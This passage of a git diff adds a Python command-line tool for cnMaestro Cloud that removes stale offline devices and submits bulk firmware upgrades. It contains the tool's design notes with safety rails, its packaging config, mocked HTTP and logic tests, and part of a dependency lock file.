- **Submit job:** `POST /api/v2/devices/jobs/firmware` with
|
||||
`{ "devices": ["MAC", ...], "package": "<image-name-or-version>" }`.
|
||||
Limit 100 MACs per job.
|
||||
|
||||
## Behavior
|
||||
|
||||
### `cnmaestro cleanup [--dry-run] [--yes] [--threshold-hours 24] [--force]`
|
||||
|
||||
1. Fetch all devices (paginated).
|
||||
2. Partition: online / offline-recent / offline >24h / never-synced.
|
||||
3. Removal candidates = offline >24h ∪ never-synced.
|
||||
4. Render `rich` table: name, MAC, product, last_sync, tower.
|
||||
5. Show counts. If candidates > 50% of fleet, refuse unless `--force`.
|
||||
6. Prompt; on confirm, DELETE each with progress bar; collect failures.
|
||||
|
||||
### `cnmaestro upgrade [--dry-run] [--yes] [--product P1,P2,...]`
|
||||
|
||||
1. Fetch all devices, keep `status=online`.
|
||||
2. Fetch firmware images list.
|
||||
3. For each product, pick highest semver as target.
|
||||
4. Build groups `(product, target_version) → [mac, ...]` for devices
|
||||
where `software_version != target`.
|
||||
5. Render summary table.
|
||||
6. Prompt; submit one POST per group, chunked to 100 MACs. Print job IDs.
|
||||
|
||||
## Safety Rails
|
||||
|
||||
- Default to dry-run summary + interactive confirm.
|
||||
- 50%-of-fleet sanity check on cleanup.
|
||||
- Token never persisted.
|
||||
- All destructive ops appended to `./cnmaestro.log` (timestamped).
|
||||
- Tests use `respx` to mock httpx; CI never hits live API.
|
||||
|
||||
## Testing Strategy
|
||||
|
||||
- Unit tests for partition logic (no HTTP).
|
||||
- Unit tests for "latest version per model" with fixture firmware list.
|
||||
- HTTP-mocked tests for client pagination, 401 retry, delete.
|
||||
- No live API tests in CI.
|
||||
|
||||
## Setup (User)
|
||||
|
||||
1. Log into cloud.cambiumnetworks.com.
|
||||
2. Manage Services → API Clients → Add Client.
|
||||
3. Copy client ID + secret into `.env`.
|
||||
4. `uv sync && uv run cnmaestro cleanup --dry-run` to validate.
|
||||
32
cnmaestro/pyproject.toml
Normal file
32
cnmaestro/pyproject.toml
Normal file
|
|
@ -0,0 +1,32 @@
|
|||
[project]
|
||||
name = "cnmaestro"
|
||||
version = "0.1.0"
|
||||
description = "CLI for cnMaestro Cloud: offline-device cleanup + bulk firmware upgrades"
|
||||
requires-python = ">=3.11"
|
||||
dependencies = [
|
||||
"httpx>=0.27",
|
||||
"click>=8.1",
|
||||
"rich>=13.7",
|
||||
"python-dotenv>=1.0",
|
||||
]
|
||||
|
||||
[project.scripts]
|
||||
cnmaestro = "cnmaestro.cli:main"
|
||||
|
||||
[dependency-groups]
|
||||
dev = [
|
||||
"pytest>=8",
|
||||
"respx>=0.21",
|
||||
"pytest-asyncio>=0.23",
|
||||
]
|
||||
|
||||
[build-system]
|
||||
requires = ["hatchling"]
|
||||
build-backend = "hatchling.build"
|
||||
|
||||
[tool.hatch.build.targets.wheel]
|
||||
packages = ["cnmaestro"]
|
||||
|
||||
[tool.pytest.ini_options]
|
||||
testpaths = ["tests"]
|
||||
asyncio_mode = "auto"
|
||||
0
cnmaestro/tests/__init__.py
Normal file
0
cnmaestro/tests/__init__.py
Normal file
87
cnmaestro/tests/test_client.py
Normal file
87
cnmaestro/tests/test_client.py
Normal file
|
|
@ -0,0 +1,87 @@
|
|||
"""Tests for HTTP client (mocked)."""
|
||||
|
||||
import httpx
|
||||
import pytest
|
||||
import respx
|
||||
|
||||
from cnmaestro.client import CnMaestroClient, CnMaestroError
|
||||
|
||||
|
||||
BASE = "https://example.test"
|
||||
|
||||
|
||||
@pytest.fixture
|
||||
def client(monkeypatch):
|
||||
monkeypatch.setenv("CNMAESTRO_BASE_URL", BASE)
|
||||
monkeypatch.setenv("CNMAESTRO_CLIENT_ID", "id")
|
||||
monkeypatch.setenv("CNMAESTRO_CLIENT_SECRET", "secret")
|
||||
c = CnMaestroClient()
|
||||
yield c
|
||||
c.close()
|
||||
|
||||
|
||||
@respx.mock
|
||||
def test_token_fetched_on_first_call(client):
|
||||
respx.post(f"{BASE}/api/v2/access/token").mock(
|
||||
return_value=httpx.Response(200, json={"access_token": "T1"})
|
||||
)
|
||||
respx.get(f"{BASE}/api/v2/devices").mock(
|
||||
return_value=httpx.Response(200, json={"data": [], "paging": {"total": 0}})
|
||||
)
|
||||
list(client.paginated("/api/v2/devices"))
|
||||
assert client._token == "T1"
|
||||
|
||||
|
||||
@respx.mock
|
||||
def test_401_triggers_refresh(client):
|
||||
token_route = respx.post(f"{BASE}/api/v2/access/token").mock(
|
||||
side_effect=[
|
||||
httpx.Response(200, json={"access_token": "T1"}),
|
||||
httpx.Response(200, json={"access_token": "T2"}),
|
||||
]
|
||||
)
|
||||
respx.get(f"{BASE}/api/v2/devices").mock(
|
||||
side_effect=[
|
||||
httpx.Response(401),
|
||||
httpx.Response(200, json={"data": [], "paging": {"total": 0}}),
|
||||
]
|
||||
)
|
||||
list(client.paginated("/api/v2/devices"))
|
||||
assert token_route.call_count == 2
|
||||
assert client._token == "T2"
|
||||
|
||||
|
||||
@respx.mock
|
||||
def test_paginated_walks_offsets(client):
|
||||
respx.post(f"{BASE}/api/v2/access/token").mock(
|
||||
return_value=httpx.Response(200, json={"access_token": "T"})
|
||||
)
|
||||
page1 = [{"mac": f"M{i}"} for i in range(100)]
|
||||
page2 = [{"mac": f"M{i}"} for i in range(100, 150)]
|
||||
respx.get(f"{BASE}/api/v2/devices", params={"limit": 100, "offset": 0}).mock(
|
||||
return_value=httpx.Response(200, json={"data": page1, "paging": {"total": 150}})
|
||||
)
|
||||
respx.get(f"{BASE}/api/v2/devices", params={"limit": 100, "offset": 100}).mock(
|
||||
return_value=httpx.Response(200, json={"data": page2, "paging": {"total": 150}})
|
||||
)
|
||||
items = list(client.paginated("/api/v2/devices"))
|
||||
assert len(items) == 150
|
||||
|
||||
|
||||
@respx.mock
|
||||
def test_delete_propagates_error(client):
|
||||
respx.post(f"{BASE}/api/v2/access/token").mock(
|
||||
return_value=httpx.Response(200, json={"access_token": "T"})
|
||||
)
|
||||
respx.delete(f"{BASE}/api/v2/devices/AA:BB").mock(
|
||||
return_value=httpx.Response(404, text="not found")
|
||||
)
|
||||
with pytest.raises(CnMaestroError):
|
||||
client.delete("/api/v2/devices/AA:BB")
|
||||
|
||||
|
||||
def test_missing_credentials_raises(monkeypatch):
|
||||
monkeypatch.delenv("CNMAESTRO_CLIENT_ID", raising=False)
|
||||
monkeypatch.delenv("CNMAESTRO_CLIENT_SECRET", raising=False)
|
||||
with pytest.raises(CnMaestroError):
|
||||
CnMaestroClient()
|
||||
71
cnmaestro/tests/test_devices.py
Normal file
71
cnmaestro/tests/test_devices.py
Normal file
|
|
@ -0,0 +1,71 @@
|
|||
"""Tests for device partitioning and parsing."""
|
||||
|
||||
from datetime import datetime, timedelta, timezone
|
||||
|
||||
from cnmaestro.devices import (
|
||||
_parse_last_sync,
|
||||
device_from_api,
|
||||
partition_for_cleanup,
|
||||
)
|
||||
|
||||
|
||||
NOW = datetime(2026, 5, 9, 12, 0, tzinfo=timezone.utc)
|
||||
|
||||
|
||||
def make(mac, status, last_sync, **extra):
|
||||
return device_from_api(
|
||||
{"mac": mac, "name": f"d-{mac}", "product": extra.pop("product", "ePMP"),
|
||||
"status": status, "last_sync": last_sync, **extra}
|
||||
)
|
||||
|
||||
|
||||
def test_parse_last_sync_epoch_ms():
|
||||
dt = _parse_last_sync(1715000000000)
|
||||
assert dt is not None
|
||||
assert dt.tzinfo is not None
|
||||
|
||||
|
||||
def test_parse_last_sync_iso():
|
||||
dt = _parse_last_sync("2026-05-08T12:00:00Z")
|
||||
assert dt == datetime(2026, 5, 8, 12, 0, tzinfo=timezone.utc)
|
||||
|
||||
|
||||
def test_parse_last_sync_none():
|
||||
assert _parse_last_sync(None) is None
|
||||
assert _parse_last_sync("") is None
|
||||
assert _parse_last_sync(0) is None
|
||||
|
||||
|
||||
def test_partition_buckets():
|
||||
online_d = make("AA:01", "online", int((NOW - timedelta(minutes=5)).timestamp() * 1000))
|
||||
recent_d = make("AA:02", "offline", int((NOW - timedelta(hours=1)).timestamp() * 1000))
|
||||
stale_d = make("AA:03", "offline", int((NOW - timedelta(days=3)).timestamp() * 1000))
|
||||
never_d = make("AA:04", "offline", None)
|
||||
|
||||
p = partition_for_cleanup(
|
||||
[online_d, recent_d, stale_d, never_d],
|
||||
threshold_hours=24,
|
||||
now=NOW,
|
||||
)
|
||||
|
||||
assert [d.mac for d in p.online] == ["AA:01"]
|
||||
assert [d.mac for d in p.offline_recent] == ["AA:02"]
|
||||
assert [d.mac for d in p.offline_stale] == ["AA:03"]
|
||||
assert [d.mac for d in p.never_synced] == ["AA:04"]
|
||||
assert {d.mac for d in p.candidates} == {"AA:03", "AA:04"}
|
||||
assert p.total == 4
|
||||
|
||||
|
||||
def test_partition_threshold_boundary():
|
||||
"""A device offline exactly at the threshold is not yet stale."""
|
||||
just_under = make(
|
||||
"AA:05", "offline",
|
||||
int((NOW - timedelta(hours=23, minutes=59)).timestamp() * 1000),
|
||||
)
|
||||
just_over = make(
|
||||
"AA:06", "offline",
|
||||
int((NOW - timedelta(hours=24, minutes=1)).timestamp() * 1000),
|
||||
)
|
||||
p = partition_for_cleanup([just_under, just_over], threshold_hours=24, now=NOW)
|
||||
assert [d.mac for d in p.offline_recent] == ["AA:05"]
|
||||
assert [d.mac for d in p.offline_stale] == ["AA:06"]
|
||||
74
cnmaestro/tests/test_firmware.py
Normal file
74
cnmaestro/tests/test_firmware.py
Normal file
|
|
@ -0,0 +1,74 @@
|
|||
"""Tests for firmware planning."""
|
||||
|
||||
from cnmaestro.devices import device_from_api
|
||||
from cnmaestro.firmware import (
|
||||
FirmwareImage,
|
||||
_parse_version,
|
||||
chunked,
|
||||
latest_per_product,
|
||||
plan_upgrades,
|
||||
)
|
||||
|
||||
|
||||
def img(product, version, name=None):
|
||||
return FirmwareImage(
|
||||
product=product, version=version, name=name or version, raw={}
|
||||
)
|
||||
|
||||
|
||||
def test_parse_version_orders():
|
||||
assert _parse_version("4.7.0") < _parse_version("4.7.1")
|
||||
assert _parse_version("4.7.0") < _parse_version("4.8.0")
|
||||
assert _parse_version("4.7.0") < _parse_version("5.0.0")
|
||||
|
||||
|
||||
def test_latest_per_product():
|
||||
images = [
|
||||
img("ePMP", "4.7.0"),
|
||||
img("ePMP", "4.7.1"),
|
||||
img("ePMP", "4.6.2"),
|
||||
img("PMP", "20.3.1"),
|
||||
img("PMP", "20.3.2"),
|
||||
]
|
||||
latest = latest_per_product(images)
|
||||
assert latest["ePMP"].version == "4.7.1"
|
||||
assert latest["PMP"].version == "20.3.2"
|
||||
|
||||
|
||||
def test_plan_upgrades_skips_up_to_date_and_offline():
|
||||
devices = [
|
||||
device_from_api({"mac": "A1", "product": "ePMP", "status": "online",
|
||||
"software_version": "4.7.0"}),
|
||||
device_from_api({"mac": "A2", "product": "ePMP", "status": "online",
|
||||
"software_version": "4.7.1"}), # already latest
|
||||
device_from_api({"mac": "A3", "product": "ePMP", "status": "offline",
|
||||
"software_version": "4.7.0"}), # offline, skip
|
||||
device_from_api({"mac": "B1", "product": "PMP", "status": "online",
|
||||
"software_version": "20.3.0"}),
|
||||
]
|
||||
images = [img("ePMP", "4.7.1"), img("PMP", "20.3.2")]
|
||||
groups = plan_upgrades(devices, images)
|
||||
macs_by_product = {g.product: {d.mac for d in g.devices} for g in groups}
|
||||
assert macs_by_product == {"ePMP": {"A1"}, "PMP": {"B1"}}
|
||||
|
||||
|
||||
def test_plan_upgrades_product_filter():
|
||||
devices = [
|
||||
device_from_api({"mac": "A1", "product": "ePMP", "status": "online",
|
||||
"software_version": "4.7.0"}),
|
||||
device_from_api({"mac": "B1", "product": "PMP", "status": "online",
|
||||
"software_version": "20.3.0"}),
|
||||
]
|
||||
images = [img("ePMP", "4.7.1"), img("PMP", "20.3.2")]
|
||||
groups = plan_upgrades(devices, images, products_filter={"ePMP"})
|
||||
assert len(groups) == 1
|
||||
assert groups[0].product == "ePMP"
|
||||
|
||||
|
||||
def test_chunked():
|
||||
assert chunked([1, 2, 3, 4, 5], 2) == [[1, 2], [3, 4], [5]]
|
||||
assert chunked(list(range(250)), 100) == [
|
||||
list(range(0, 100)),
|
||||
list(range(100, 200)),
|
||||
list(range(200, 250)),
|
||||
]
|
||||
254
cnmaestro/uv.lock
generated
Normal file
254
cnmaestro/uv.lock
generated
Normal file
|
|
@ -0,0 +1,254 @@
|
|||
version = 1
|
||||
revision = 3
|
||||
requires-python = ">=3.11"
|
||||
|
||||
[[package]]
|
||||
name = "anyio"
|
||||
version = "4.13.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "idna" },
|
||||
{ name = "typing-extensions", marker = "python_full_version < '3.13'" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/19/14/2c5dd9f512b66549ae92767a9c7b330ae88e1932ca57876909410251fe13/anyio-4.13.0.tar.gz", hash = "sha256:334b70e641fd2221c1505b3890c69882fe4a2df910cba14d97019b90b24439dc", size = 231622, upload-time = "2026-03-24T12:59:09.671Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/da/42/e921fccf5015463e32a3cf6ee7f980a6ed0f395ceeaa45060b61d86486c2/anyio-4.13.0-py3-none-any.whl", hash = "sha256:08b310f9e24a9594186fd75b4f73f4a4152069e3853f1ed8bfbf58369f4ad708", size = 114353, upload-time = "2026-03-24T12:59:08.246Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "certifi"
|
||||
version = "2026.4.22"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/25/ee/6caf7a40c36a1220410afe15a1cc64993a1f864871f698c0f93acb72842a/certifi-2026.4.22.tar.gz", hash = "sha256:8d455352a37b71bf76a79caa83a3d6c25afee4a385d632127b6afb3963f1c580", size = 137077, upload-time = "2026-04-22T11:26:11.191Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/22/30/7cd8fdcdfbc5b869528b079bfb76dcdf6056b1a2097a662e5e8c04f42965/certifi-2026.4.22-py3-none-any.whl", hash = "sha256:3cb2210c8f88ba2318d29b0388d1023c8492ff72ecdde4ebdaddbb13a31b1c4a", size = 135707, upload-time = "2026-04-22T11:26:09.372Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "click"
|
||||
version = "8.3.3"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "colorama", marker = "sys_platform == 'win32'" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/bb/63/f9e1ea081ce35720d8b92acde70daaedace594dc93b693c869e0d5910718/click-8.3.3.tar.gz", hash = "sha256:398329ad4837b2ff7cbe1dd166a4c0f8900c3ca3a218de04466f38f6497f18a2", size = 328061, upload-time = "2026-04-22T15:11:27.506Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/ae/44/c1221527f6a71a01ec6fbad7fa78f1d50dfa02217385cf0fa3eec7087d59/click-8.3.3-py3-none-any.whl", hash = "sha256:a2bf429bb3033c89fa4936ffb35d5cb471e3719e1f3c8a7c3fff0b8314305613", size = 110502, upload-time = "2026-04-22T15:11:25.044Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "cnmaestro"
|
||||
version = "0.1.0"
|
||||
source = { editable = "." }
|
||||
dependencies = [
|
||||
{ name = "click" },
|
||||
{ name = "httpx" },
|
||||
{ name = "python-dotenv" },
|
||||
{ name = "rich" },
|
||||
]
|
||||
|
||||
[package.dev-dependencies]
|
||||
dev = [
|
||||
{ name = "pytest" },
|
||||
{ name = "pytest-asyncio" },
|
||||
{ name = "respx" },
|
||||
]
|
||||
|
||||
[package.metadata]
|
||||
requires-dist = [
|
||||
{ name = "click", specifier = ">=8.1" },
|
||||
{ name = "httpx", specifier = ">=0.27" },
|
||||
{ name = "python-dotenv", specifier = ">=1.0" },
|
||||
{ name = "rich", specifier = ">=13.7" },
|
||||
]
|
||||
|
||||
[package.metadata.requires-dev]
|
||||
dev = [
|
||||
{ name = "pytest", specifier = ">=8" },
|
||||
{ name = "pytest-asyncio", specifier = ">=0.23" },
|
||||
{ name = "respx", specifier = ">=0.21" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "colorama"
|
||||
version = "0.4.6"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/d8/53/6f443c9a4a8358a93a6792e2acffb9d9d5cb0a5cfd8802644b7b1c9a02e4/colorama-0.4.6.tar.gz", hash = "sha256:08695f5cb7ed6e0531a20572697297273c47b8cae5a63ffc6d6ed5c201be6e44", size = 27697, upload-time = "2022-10-25T02:36:22.414Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/d1/d6/3965ed04c63042e047cb6a3e6ed1a63a35087b6a609aa3a15ed8ac56c221/colorama-0.4.6-py2.py3-none-any.whl", hash = "sha256:4f1d9991f5acc0ca119f9d443620b77f9d6b33703e51011c16baf57afb285fc6", size = 25335, upload-time = "2022-10-25T02:36:20.889Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "h11"
|
||||
version = "0.16.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/01/ee/02a2c011bdab74c6fb3c75474d40b3052059d95df7e73351460c8588d963/h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1", size = 101250, upload-time = "2025-04-24T03:35:25.427Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/04/4b/29cac41a4d98d144bf5f6d33995617b185d14b22401f75ca86f384e87ff1/h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86", size = 37515, upload-time = "2025-04-24T03:35:24.344Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "httpcore"
|
||||
version = "1.0.9"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "certifi" },
|
||||
{ name = "h11" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/06/94/82699a10bca87a5556c9c59b5963f2d039dbd239f25bc2a63907a05a14cb/httpcore-1.0.9.tar.gz", hash = "sha256:6e34463af53fd2ab5d807f399a9b45ea31c3dfa2276f15a2c3f00afff6e176e8", size = 85484, upload-time = "2025-04-24T22:06:22.219Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/7e/f5/f66802a942d491edb555dd61e3a9961140fd64c90bce1eafd741609d334d/httpcore-1.0.9-py3-none-any.whl", hash = "sha256:2d400746a40668fc9dec9810239072b40b4484b640a8c38fd654a024c7a1bf55", size = 78784, upload-time = "2025-04-24T22:06:20.566Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "httpx"
|
||||
version = "0.28.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "anyio" },
|
||||
{ name = "certifi" },
|
||||
{ name = "httpcore" },
|
||||
{ name = "idna" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/b1/df/48c586a5fe32a0f01324ee087459e112ebb7224f646c0b5023f5e79e9956/httpx-0.28.1.tar.gz", hash = "sha256:75e98c5f16b0f35b567856f597f06ff2270a374470a5c2392242528e3e3e42fc", size = 141406, upload-time = "2024-12-06T15:37:23.222Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/2a/39/e50c7c3a983047577ee07d2a9e53faf5a69493943ec3f6a384bdc792deb2/httpx-0.28.1-py3-none-any.whl", hash = "sha256:d909fcccc110f8c7faf814ca82a9a4d816bc5a6dbfea25d6591d6985b8ba59ad", size = 73517, upload-time = "2024-12-06T15:37:21.509Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "idna"
|
||||
version = "3.13"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/ce/cc/762dfb036166873f0059f3b7de4565e1b5bc3d6f28a414c13da27e442f99/idna-3.13.tar.gz", hash = "sha256:585ea8fe5d69b9181ec1afba340451fba6ba764af97026f92a91d4eef164a242", size = 194210, upload-time = "2026-04-22T16:42:42.314Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/5d/13/ad7d7ca3808a898b4612b6fe93cde56b53f3034dcde235acb1f0e1df24c6/idna-3.13-py3-none-any.whl", hash = "sha256:892ea0cde124a99ce773decba204c5552b69c3c67ffd5f232eb7696135bc8bb3", size = 68629, upload-time = "2026-04-22T16:42:40.909Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "iniconfig"
|
||||
version = "2.3.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/72/34/14ca021ce8e5dfedc35312d08ba8bf51fdd999c576889fc2c24cb97f4f10/iniconfig-2.3.0.tar.gz", hash = "sha256:c76315c77db068650d49c5b56314774a7804df16fee4402c1f19d6d15d8c4730", size = 20503, upload-time = "2025-10-18T21:55:43.219Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/cb/b1/3846dd7f199d53cb17f49cba7e651e9ce294d8497c8c150530ed11865bb8/iniconfig-2.3.0-py3-none-any.whl", hash = "sha256:f631c04d2c48c52b84d0d0549c99ff3859c98df65b3101406327ecc7d53fbf12", size = 7484, upload-time = "2025-10-18T21:55:41.639Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "markdown-it-py"
|
||||
version = "4.2.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "mdurl" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/06/ff/7841249c247aa650a76b9ee4bbaeae59370dc8bfd2f6c01f3630c35eb134/markdown_it_py-4.2.0.tar.gz", hash = "sha256:04a21681d6fbb623de53f6f364d352309d4094dd4194040a10fd51833e418d49", size = 82454, upload-time = "2026-05-07T12:08:28.36Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/b3/81/4da04ced5a082363ecfa159c010d200ecbd959ae410c10c0264a38cac0f5/markdown_it_py-4.2.0-py3-none-any.whl", hash = "sha256:9f7ebbcd14fe59494226453aed97c1070d83f8d24b6fc3a3bcf9a38092641c4a", size = 91687, upload-time = "2026-05-07T12:08:27.182Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "mdurl"
|
||||
version = "0.1.2"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/d6/54/cfe61301667036ec958cb99bd3efefba235e65cdeb9c84d24a8293ba1d90/mdurl-0.1.2.tar.gz", hash = "sha256:bb413d29f5eea38f31dd4754dd7377d4465116fb207585f97bf925588687c1ba", size = 8729, upload-time = "2022-08-14T12:40:10.846Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/b3/38/89ba8ad64ae25be8de66a6d463314cf1eb366222074cfda9ee839c56a4b4/mdurl-0.1.2-py3-none-any.whl", hash = "sha256:84008a41e51615a49fc9966191ff91509e3c40b939176e643fd50a5c2196b8f8", size = 9979, upload-time = "2022-08-14T12:40:09.779Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "packaging"
|
||||
version = "26.2"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/d7/f1/e7a6dd94a8d4a5626c03e4e99c87f241ba9e350cd9e6d75123f992427270/packaging-26.2.tar.gz", hash = "sha256:ff452ff5a3e828ce110190feff1178bb1f2ea2281fa2075aadb987c2fb221661", size = 228134, upload-time = "2026-04-24T20:15:23.917Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/df/b2/87e62e8c3e2f4b32e5fe99e0b86d576da1312593b39f47d8ceef365e95ed/packaging-26.2-py3-none-any.whl", hash = "sha256:5fc45236b9446107ff2415ce77c807cee2862cb6fac22b8a73826d0693b0980e", size = 100195, upload-time = "2026-04-24T20:15:22.081Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pluggy"
|
||||
version = "1.6.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/f9/e2/3e91f31a7d2b083fe6ef3fa267035b518369d9511ffab804f839851d2779/pluggy-1.6.0.tar.gz", hash = "sha256:7dcc130b76258d33b90f61b658791dede3486c3e6bfb003ee5c9bfb396dd22f3", size = 69412, upload-time = "2025-05-15T12:30:07.975Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/54/20/4d324d65cc6d9205fabedc306948156824eb9f0ee1633355a8f7ec5c66bf/pluggy-1.6.0-py3-none-any.whl", hash = "sha256:e920276dd6813095e9377c0bc5566d94c932c33b27a3e3945d8389c374dd4746", size = 20538, upload-time = "2025-05-15T12:30:06.134Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pygments"
|
||||
version = "2.20.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/c3/b2/bc9c9196916376152d655522fdcebac55e66de6603a76a02bca1b6414f6c/pygments-2.20.0.tar.gz", hash = "sha256:6757cd03768053ff99f3039c1a36d6c0aa0b263438fcab17520b30a303a82b5f", size = 4955991, upload-time = "2026-03-29T13:29:33.898Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/f4/7e/a72dd26f3b0f4f2bf1dd8923c85f7ceb43172af56d63c7383eb62b332364/pygments-2.20.0-py3-none-any.whl", hash = "sha256:81a9e26dd42fd28a23a2d169d86d7ac03b46e2f8b59ed4698fb4785f946d0176", size = 1231151, upload-time = "2026-03-29T13:29:30.038Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pytest"
|
||||
version = "9.0.3"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "colorama", marker = "sys_platform == 'win32'" },
|
||||
{ name = "iniconfig" },
|
||||
{ name = "packaging" },
|
||||
{ name = "pluggy" },
|
||||
{ name = "pygments" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/7d/0d/549bd94f1a0a402dc8cf64563a117c0f3765662e2e668477624baeec44d5/pytest-9.0.3.tar.gz", hash = "sha256:b86ada508af81d19edeb213c681b1d48246c1a91d304c6c81a427674c17eb91c", size = 1572165, upload-time = "2026-04-07T17:16:18.027Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/d4/24/a372aaf5c9b7208e7112038812994107bc65a84cd00e0354a88c2c77a617/pytest-9.0.3-py3-none-any.whl", hash = "sha256:2c5efc453d45394fdd706ade797c0a81091eccd1d6e4bccfcd476e2b8e0ab5d9", size = 375249, upload-time = "2026-04-07T17:16:16.13Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "pytest-asyncio"
|
||||
version = "1.3.0"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "pytest" },
|
||||
{ name = "typing-extensions", marker = "python_full_version < '3.13'" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/90/2c/8af215c0f776415f3590cac4f9086ccefd6fd463befeae41cd4d3f193e5a/pytest_asyncio-1.3.0.tar.gz", hash = "sha256:d7f52f36d231b80ee124cd216ffb19369aa168fc10095013c6b014a34d3ee9e5", size = 50087, upload-time = "2025-11-10T16:07:47.256Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/e5/35/f8b19922b6a25bc0880171a2f1a003eaeb93657475193ab516fd87cac9da/pytest_asyncio-1.3.0-py3-none-any.whl", hash = "sha256:611e26147c7f77640e6d0a92a38ed17c3e9848063698d5c93d5aa7aa11cebff5", size = 15075, upload-time = "2025-11-10T16:07:45.537Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "python-dotenv"
|
||||
version = "1.2.2"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/82/ed/0301aeeac3e5353ef3d94b6ec08bbcabd04a72018415dcb29e588514bba8/python_dotenv-1.2.2.tar.gz", hash = "sha256:2c371a91fbd7ba082c2c1dc1f8bf89ca22564a087c2c287cd9b662adde799cf3", size = 50135, upload-time = "2026-03-01T16:00:26.196Z" }
|
||||
wheels = [
|
||||
{ url = "https://files.pythonhosted.org/packages/0b/d7/1959b9648791274998a9c3526f6d0ec8fd2233e4d4acce81bbae76b44b2a/python_dotenv-1.2.2-py3-none-any.whl", hash = "sha256:1d8214789a24de455a8b8bd8ae6fe3c6b69a5e3d64aa8a8e5d68e694bbcb285a", size = 22101, upload-time = "2026-03-01T16:00:25.09Z" },
|
||||
]
|
||||
|
||||
[[package]]
|
||||
name = "respx"
|
||||
version = "0.23.1"
|
||||
source = { registry = "https://pypi.org/simple" }
|
||||
dependencies = [
|
||||
{ name = "httpx" },
|
||||
]
|
||||
sdist = { url = "https://files.pythonhosted.org/packages/43/98/4e55c9c486404ec12373708d015ebce157966965a5ebe7f28ff2c784d41b/respx-0.23.1.tar.gz", hash = "sha256:242dcc6ce6b5b9bf621f5870c82a63997e8e82bc7c947f9ffe272b8f3dd5a780", size = 29243, upload-time = "2026-04-08T14:37:16.008Z" }
|
||||
wheels = [
|
||||
